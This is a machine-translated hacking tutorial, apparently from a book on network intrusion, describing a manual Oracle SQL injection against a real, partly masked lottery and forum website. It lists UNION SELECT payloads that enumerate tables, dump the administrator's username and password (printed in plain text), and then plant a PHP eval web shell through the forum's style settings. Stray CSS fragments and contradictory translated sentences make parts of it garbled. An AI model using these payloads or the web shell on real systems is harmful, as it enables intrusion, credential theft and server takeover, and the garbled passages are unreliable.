Case reference: manual Oracle injection to a colorful online website

From: <large and medium-sized network intrusion cases direct attack and defense> E-Industry Press authorizes the red and black Union www.2cto.com to publish

Field quantity and field type detection

First, check the number of fields queried at the injection point, and submit:

Http: // www. **** china.com/jst/md_end.jsp? Id = 76 order by 10 // Return Error Page

Http: // www. **** china.com/jst/md_end.jsp? Id = 76 order by 5 // return to the normal page

Http: // www. **** china.com/jst/md_end.jsp? Id = 76 order by 8 // Return Error Page

Http: // www. **** china.com/jst/md_end.jsp? Id = 76 order by 7 // return to the normal page

This indicates that the current table has seven fields. Next, check the field type and submit it:

Http: // www. **** china.com/jst/md_end.jsp? Id = 76 and 1 = 2 union select 1, 2, 3, 4, 5, 6, 7 from dual

An error message is returned (figure 2 ):

Expression must have same datatype

Figure 2 incorrect data type

Rmal; LETTER-SPACING: normal; BORDER-COLLAPSE: separate; widows: 2; orphans: 2; webkit-border-horizontal-spacing: 0px; webkit-border-vertical-spacing: 0px; webkit-text-decorations-in-effect: none; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px ">

Apparently, the type of the submitted field is incorrect, so an error occurs in the query. Therefore, submit the statement as follows:

Http: // www. **** china.com/jst/md_end.jsp? Id = 76 and 1 = 2 union select null, null from dual

Return to the normal page, indicating that the number of fields is indeed 7, but the field type needs to be determined. Submit the following in sequence:

Http: // www. **** china.com/jst/md_end.jsp? Id = 76 and 1 = 2 union select null, null from dual // return to the normal page

Http: // www. **** china.com/jst/md_end.jsp? Id = 76 and 1 = 2 union select null, null from dual // Return Error Page

Http: // www. **** china.com/jst/md_end.jsp? Id = 76 and 1 = 2 union select null, null from dual // return to the normal page

Http: // www. **** china.com/jst/md_end.jsp? Id = 76 and 1 = 2 union select null, null from dual // return to the normal page

......

In the preceding query, a null string is used to check whether the field is of the numeric type. If a normal page is returned, the field is of the numeric type. If an error page is returned, the field is of the numeric type.

After the detection is submitted, confirm that the type 1, 3, 4, 6, and 7 is stable. Submit as follows:

Http: // www. **** china.com/jst/md_end.jsp? Id = 76 and 1 = 2 union select 1, 2, 3, 4, 5, 6, 7 from dual

Return to the normal page (figure 3), indicating that the field type is correct.

Figure 3 confirm data type

Detect Injection Point Information

Perform a simple information check on the injection point. You can select the injection field to display the information to be queried. submit the following information:

Http: // www. **** china.com/jst/md_end.jsp? Id = 76 and 1 = 2 union select (select banner from sys. v _ $ version where rownum = 1), 2, (select SYS_CONTEXT (USERENV, CURRENT_USER) from dual), (select member from v $ logfile where rownum = 1), 5, 6, (select instance_name from v $ instance) from dual

Obtain various information from the returned page (figure 4 ):

The Database version is Oracle Database 10g Enterprise Edition Release 10.2.0.4.0-64bi;

The username used for database connection is TOTO;

The operating system platform is Linux;

The server sid is racdb2.

Figure 4 return the information rmal of the injection point; LETTER-SPACING: normal; BORDER-COLLAPSE: separate; widows: 2; orphans: 2; webkit-border-horizontal-spacing: 0px; webkit-border-vertical-spacing: 0px; webkit-text-decorations-in-effect: none; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px ">

Query and obtain the table name

First, query the table name in the current database and submit it:

Http: // www. **** china.com/jst/md_end.jsp? Id = 76 and 1 = 2 union select 1, 2, 3, (select table_name from user_tables where rownum = 1), 5, 6, 7 from dual

Figure 5

Select field 4 to return the information. The 1st tables are named ACCOUNTS (figure 5 ).

Http: // www. **** china.com/jst/md_end.jsp? Id = 76 and 1 = 2 union select 1, 2, 3, (select table_name from user_tables where rownum = 1 and table_name <> ACCOUNTS), 5, 6, 7 from dual

Note: The table name must be in uppercase. After submission, the first table named A_USER is returned. Submit again:

Http: // www. **** china.com/jst/md_end.jsp? Id = 76 and 1 = 2 union select 1, 2, 3, (select table_name from user_tables where rownum = 1 and table_name <> ACCOUNTS and table_name <> A_USER), 5, 6, 7 from dual

The first table name is BOBO_URL_INFO. Using the same method, you can obtain all other table names and find that there is an extremely important table name USERMG.

Rmal; LETTER-SPACING: normal; BORDER-COLLAPSE: separate; widows: 2; orphans: 2; webkit-border-horizontal-spacing: 0px; webkit-border-vertical-spacing: 0px; webkit-text-decorations-in-effect: none; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px ">

Query and obtain field names and content

Select to query the USERMG table and submit it:

Http: // www. **** china.com/jst/md_end.jsp? Id = 76 and 1 = 2 union select 1, 2, 3, (select column_name from user_tab_columns where table_name = USERMG and rownum = 1), 5, 6, 7 from dual

Return USER_NAME, the first field name in the USERMG table, and submit again:

Http: // www. **** china.com/jst/md_end.jsp? Id = 76 and 1 = 2 union select 1, 2, 3, (select column_name from user_tab_columns where table_name = USERMG and column_name <> USER_NAME and rownum = 1), 5, 6, 7 from dual

Figure 6 RETURN field names in the table

Return USER_PASS (figure 6), the first field name ). These two field names are obviously used to store the user name and password and directly query the content:

Http: // www. **** china.com/jst/md_end.jsp? Id = 76 and 1 = 2 union select USERNAME, 2, 3, USER_PASS, 5, 6, 7 from USERMG

On the return page, the username and password are admin/toto11admin (figure 7 ).

Figure 7 obtain Administrator account data rmal; LETTER-SPACING: normal; BORDER-COLLAPSE: separate; widows: 2; orphans: 2; webkit-border-horizontal-spacing: 0px; webkit-border-vertical-spacing: 0px; webkit-text-decorations-in-effect: none; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px ">

Log onto the background and upload WebShell

The website's background is not directly found, but the Administrator account can be used to log on from the foreground. After logging on to the Forum, you can find that you can go to the sports lottery Forum. On the background management page of the forum, log on directly with this account and go to the Forum Management background.

In "Forum Management" → "interface style" → "Default style" → "details", click "add variable" to set the variable content:

,# 999); eval ($ _ POST [c]);

Figure 8 add